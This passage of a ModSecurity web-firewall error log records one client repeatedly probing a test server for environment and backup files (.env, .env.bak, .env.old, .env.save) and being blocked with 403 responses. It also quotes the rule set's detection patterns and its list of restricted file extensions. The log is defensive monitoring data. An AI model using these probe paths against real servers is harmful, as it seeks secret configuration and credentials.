&quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.505455 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.506417 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.506625 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.012368 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIhwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.012596 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIhwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.012905 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIhwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.013155 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIhwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.521977 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIiAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.522257 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIiAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:59.522494 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aQO3U5dseHRrfd8_FeKIiAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.110437 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIiQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.110723 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIiQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.110953 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIiQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.624346 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIigAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.624533 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIigAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.624789 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIigAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:00.624992 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aQO3VJdseHRrfd8_FeKIigAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.145049 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIiwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.145271 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIiwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.145554 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIiwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.145805 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIiwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.650320 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIjAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.650655 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIjAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:01.650880 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3VZdseHRrfd8_FeKIjAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.155698 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.155960 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.156172 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.672600 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:02.672807 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3VpdseHRrfd8_FeKIjgAAAAY&quot;], referer: https://www.google.com/
